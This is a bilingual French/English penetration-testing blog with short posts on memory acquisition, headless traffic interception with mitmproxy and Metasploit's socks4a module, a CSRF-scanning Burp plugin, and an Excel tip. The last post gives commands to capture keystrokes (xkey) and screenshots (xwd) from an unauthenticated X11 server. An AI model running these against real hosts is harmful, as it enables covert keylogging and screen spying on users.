16 Dec 2013

Acquérir la mémoire vive avec Dumpit.

Acquérir la mémoire vive avec Dumpit.

Acquiring memory with Dumpit

http://isc.sans.edu/diary/Acquiring+Memory+Images+with+Dumpit/17216

13 Nov 2013

Proxy d'interception en mode "headless" | Headless intercepting proxy

Voici les options utilisables que je connais pour intercepter du  traffic HTTP lorsque tout ce qu'on a est Kali Linux isolé (accédé via SSH sans aucune option d'accès X/VNC et sans accès Internet):
Par exemple, on peut utilser le mode de défilement lors de la capture tout en sauvegardant les flots HTTP dans un fichier. Par la suite, on visionne les détails des flots en mode plein écran:
# mitmdump -w /var/log/mitmdump-$$.log -v -p 8080
192.168.2.109 GET http://www.jourzero.com/
    Host: www.jourzero.com
    User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:25.0) Gecko/20100101 Firefox/25.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: keep-alive
    If-Modified-Since: Wed, 13 Nov 2013 17:27:42 GMT
    If-None-Match: "6f73caf0-aa84-4d81-a1e9-598d2369ecbc"

 << 304 Not Modified 0B

    Expires: Wed, 13 Nov 2013 17:30:43 GMT
    Date: Wed, 13 Nov 2013 17:30:43 GMT
    Cache-Control: private, max-age=0
    ETag: "6f73caf0-aa84-4d81-a1e9-598d2369ecbc"
    Server: GSE

# mitmproxy -r /var/log/mitmdump-3099.log
>> GET http://www.jourzero.com/
← 304 [empty content]
ENTER

2013-11-13 12:30:43 GET http://www.jourzero.com/
← 304 [empty content]
Request                                   Response
Host: www.jourzero.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:25.0) Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
If-Modified-Since: Wed, 13 Nov 2013 17:27:42 GMT
If-None-Match: "6f73caf0-aa84-4d81-a1e9-598d2369ecbc"
2013-11-13 12:30:43 GET http://www.jourzero.com/
                        ← 304 [empty content]
TAB
Request                                  Response
Expires:        Wed, 13 Nov 2013 17:30:43 GMT
Date:           Wed, 13 Nov 2013 17:30:43 GMT
Cache-Control:  private, max-age=0 
ETag:           "6f73caf0-aa84-4d81-a1e9-598d2369ecbc"
Server:         GSE
            


Ces autres options offrent aussi un mode "headless" qui ne sont pas aussi simples à utiliser:
  • Zed Attack Proxy avec l'option "-daemon": zap.sh -daemon. Mon expérience dit qu'on doit savoir éditer les fichiers xml de configuration du proxy pour obtenir ce qu'on veut. Pas l'option la plus intéressante.
  • Burp avec l'option -Djava.awt.headless=true. Scripts qui utilisent cette option: sodapop.sh and bscan 
  • Proxystrike avec l'option -c (console) - pas certain si cette option est vraiment utilisable...
  • Metasploit socks4a auxiliary server:
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > info

Name: Socks4a Proxy Server
Module: auxiliary/server/socks4a
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
sf

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.

Description:
This module provides a socks4a proxy server that uses the builtin
Metasploit routing to relay connections.

msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed

[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > jobs

Jobs
====

Id Name
-- ----
0 Auxiliary: server/socks4a
 
--
Here are the usable options I know to intercept HTTP traffic in headless mode. I've had to use that on an isolated Kali Linux (accessed via SSH without possibility for X/VNC and without Internet download capability):
There are other options on Kali but they are not as usable or simple to setup:

12 Nov 2013

Balayer des sites protégés contre les attaques CSRF

Pour permettre le balayage de sites protégés contre les attaques de falsification de requêtes inter-site ou "Cross-Site Request Forgery" (CSRF), un plugiciel Burp a été développé (preuve de concept). Celui-ci peut être trouvé ici http://code.google.com/p/pysqlin/downloads/list.

Tiré d'un article sur http://edge-security.blogspot.ca:
In order to perform an automatic scan of CSRF-protected sites, requests must be performed sequentially as each requests contains a new generated anti-CSRF token needed for the next request, forming a token chain.

A POC in the form of a Burp suite plugin has been developed to verify this approach, it can be downloaded at http://code.google.com/p/pysqlin/downloads/list. It should be noted however that this code is a POC and it requires further development in other to be able to work against real environments (any link of a webapp with this behavior is appreciated).

Original post origin: http://edge-security.blogspot.ca.

25 Jul 2013

Conserver les "line-breaks" de HTML vers Excel (sans rangée additionnelle)

Voici un problème fréquent: on veut importer un tableau HTML vers Excel sans que Excel interprète les tags de retour de chariot <BR> comme un changement de rangée - rendant impossible les fonctions d'ordonnancement et de filtration. Selon moi, le fait de pas avoir de flexibilité à cet égard à partir de l'interface usager de Excel est un bug!

La solution la plus simple est d'ajouter un style spécifique à Microsoft (dans le fichier HTML) comme suit:

<html>... <style> br { mso-data-placement:same-cell; } </style> ...</html>

Merci à Michu (24/7 dev & coffee blog) pour le tuyau!

Ref: Generating Excel files from web - line breaks in cells 

Thanks to Michu for the great tip... Initial text copied here for convenience...

Generating Excel files from web - line breaks in cells

...I needed to wrap text in cell, but when I put tag into HTML output, Excel interpreted it as a new row, not a line-break in existing cell. The solution I found is to add into a stylesheet:
    br {mso-data-placement:same-cell;}

11 Jan 2013

Attaque de serveur X11 sans authentification (après xhost +)

Voici quelques commandes pour exploiter un serveur X11 ouvert:

Capture de clés à distance (remote key capture)
$ xkey IP:0.0

NB:
  • Le code source pour xkey.c peut être trouvé ici
  • Utiliser 0.0 pour le port 6000, 1.0 pour le port 6001...
 
Capture de l'écran (screen capture):
$ xwd -display IP:0.0 -root -silent -out /tmp/screendump
$ xv /tmp/screendump 
$ xwd -display IP:0.0 -root -silent | xwdtopnm | pnmtopng > Screenshot.png


Références: